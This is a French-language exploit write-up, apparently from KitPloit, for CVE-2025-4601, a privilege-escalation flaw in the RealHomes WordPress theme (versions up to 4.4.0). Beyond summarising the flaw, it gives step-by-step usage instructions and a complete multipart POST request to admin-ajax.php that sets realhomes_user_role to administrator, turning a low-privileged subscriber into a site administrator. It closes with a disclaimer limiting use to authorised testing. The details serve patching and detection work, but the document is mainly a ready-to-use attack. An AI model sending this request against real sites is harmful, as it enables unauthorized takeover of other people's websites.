CVE-2025-4601 - Thème WordPress RealHomes <= 4.4.0 - Escalade de Privilèges

🔥 Résumé de la vulnérabilité Le thème WordPress RealHomes versions <= 4.4.0 est vulnérable à une vulnérabilité d'escalade de privilèges. Cela permet à des utilisateurs authentifiés disposant de faibles privilèges (comme les abonnés) d'élever leurs rôles jusqu'à administrateur. Cette vulnérabilité se produit via la fonction inspiry_update_profile, qui permet incorrectement aux utilisateurs de modifier leur rôle si l'option ere_allow_users_change_role est activée.

Ce problème peut être exploité en soumettant une requête POST spécialement conçue au point d'accès admin-ajax.php, en fournissant le paramètre realhomes_user_role défini sur administrator.

🔍 Thème concerné

• Nom du thème : RealHomes
• Version affectée : <= 4.4.0
• Type de vulnérabilité : Escalade de privilèges
• Identifiant CVE : CVE-2025-4601
• Score CVSS : 8.8 (Critique)
• Impact : Accès administrateur complet → Compromission potentielle du site

🧪 Caractéristiques de l'exploit

• 📥 Récupère automatiquement le nonce depuis la page cible.
• 🔐 Élève le rôle de l'utilisateur à administrator via le paramètre realhomes_user_role.
• 🌐 Aucune authentification supplémentaire requise au-delà d'être connecté en tant qu'utilisateur à faibles privilèges (ex. abonné).
• 💾 Met à jour le profil utilisateur, accordant l'accès administrateur à l'attaquant.

🧠 Chercheur

• Crédit : Thai An

🚀 Utilisation

1. Connectez-vous au site cible en tant qu'utilisateur à faibles privilèges (ex. abonné).

2. Accédez au point d'accès /wp-admin/admin-ajax.php avec les données POST suivantes, qui incluent le paramètre realhomes_user_role défini sur administrator :

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/2
   Host: targetsite.com
   Cookie: wordpress_logged_in_xxx=...
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
   
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="first-name"
   test
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="last-name"
   user
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="realhomes_user_role"
   administrator
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr
   Content-Disposition: form-data; name="action"
   inspiry_update_profile
   ------WebKitFormBoundaryNGw1yuikHiYVYYsr--
   

3. Vérifiez la réponse : Si la requête réussit, l'attaquant obtiendra un accès administrateur.

4. Confirmez en accédant à la page /wp-admin/ pour vérifier si l'attaquant a reçu les privilèges administrateur.

🔒 Avertissement : Ce contenu est destiné uniquement à des fins éducatives et ne doit être utilisé que sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test. Une mauvaise utilisation de ce code peut entraîner des conséquences juridiques.